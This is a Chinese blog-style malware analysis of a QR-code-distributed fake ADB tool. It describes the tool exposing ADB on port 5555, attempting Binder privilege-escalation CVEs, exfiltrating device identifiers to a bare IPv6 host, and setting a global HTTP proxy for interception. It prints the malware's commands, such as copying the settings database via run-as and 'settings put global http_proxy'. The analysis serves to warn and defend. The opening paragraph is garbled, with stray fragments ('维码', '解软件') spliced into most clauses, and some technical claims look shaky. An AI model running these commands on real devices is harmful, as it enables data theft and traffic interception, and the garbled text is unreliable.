有人在群里发了一张二维码，维码配文“扫码装个工具，解软件手机连电脑就能调试了”。维码我扫了。解软件下载页长得像模像样，维码APK名字叫“ADB ToolKit Pro”，解软件图标是维码个安卓机器人举着扳手。装完打开，解软件界面干净得过分——一个输入框，维码一个“连接”按钮，解软件底下滚动日志。维码我插上数据线，解软件开了USB调试，维码点了连接。解软件三秒后日志跳出一行：device unauthorized。维码正常，得在手机上点“允许”。可手机屏幕上压根没弹窗。

这就是第一个不对劲的地方。正规ADB授权弹窗由系统UsbDebuggingActivity触发，除非你之前勾了“一律允许”。我翻了下这个App的权限清单，没有android.permission.MANAGE_USB，也没有android.permission.USB_PERMISSION。它拿什么跟ADB服务握手？答案在解包后的classes.dex里：它自己起了一个adb二进制，跑在App私有目录，监听localhost:5555。手机上开5555端口，等于把ADB over TCP暴露给整个局域网。这玩意儿叫“破解软件”，破的是你自己的设备边界。

二维码只是入口。真正干活的是那个内嵌的adb，版本号1.0.39，2014年的老货。老版本ADB有个特性：adb shell默认以shell用户跑，但配合run-as可以切到任意App的私有目录。这个“工具”里藏了一条命令：adb shell run-as com.android.settings cp /data/data/com.android.settings/databases/settings.db /sdcard/。复制系统设置数据库。再往下翻，还有pm grant批量授权、am start拉起隐藏Activity。代码写得很糙，变量名全是拼音，String jiemian = "com.android.settings"。作者大概觉得没人会反编译。

我拿测试机跑了一遍。连上之后，它先adb root，失败；再adb shell su -c id，也失败。但日志里出现一行trying exploit CVE-2019-2215。那是老版Binder的UAF漏洞，Android 10之前能提权。这台机器是Android 13，补丁早打了。它不死心，又试了CVE-2020-0041，还是失败。最后弹了个Toast：“设备不兼容，请用旧版安卓”。我笑了。这哪是ADB工具，分明是个打包了半打提权exp的漏洞利用框架，套了个二维码的壳。

更离谱的是网络行为。抓包看到它在adb connect成功之后，往http://[2409:8a1e:6a3:2a10::1]:8080/reg发了个POST，body是{ "imei":"...","model":"...","android_id":"..."}。IPv6地址，没域名，端口8080。服务器返回{ "code":0,"msg":"ok","cmd":"enable_proxy"}。然后它真的执行了adb shell settings put global http_proxy 10.0.0.1:8888。全局代理指向一个内网地址。你的所有HTTP流量，明文，走它指定的代理。这不是破解软件，这是中间人攻击的自动化部署脚本。

我删了那个APK，顺手把手机USB调试关了。回头想，整个链条最脆弱的环节不是ADB，不是二维码，是“扫码装工具”这个动作本身。ADB协议从设计上就没打算跨网络裸奔，它信任的是USB线两端的物理连接。你把5555端口打开，等于把家门钥匙插在锁孔上，还贴了张纸条写“欢迎光临”。那些打着“破解”“免root”“一键调试”旗号的二维码，十个里有九个在干同一件事：用你的设备当跳板，或者用你的数据当燃料。剩下那个，可能只是还没写完。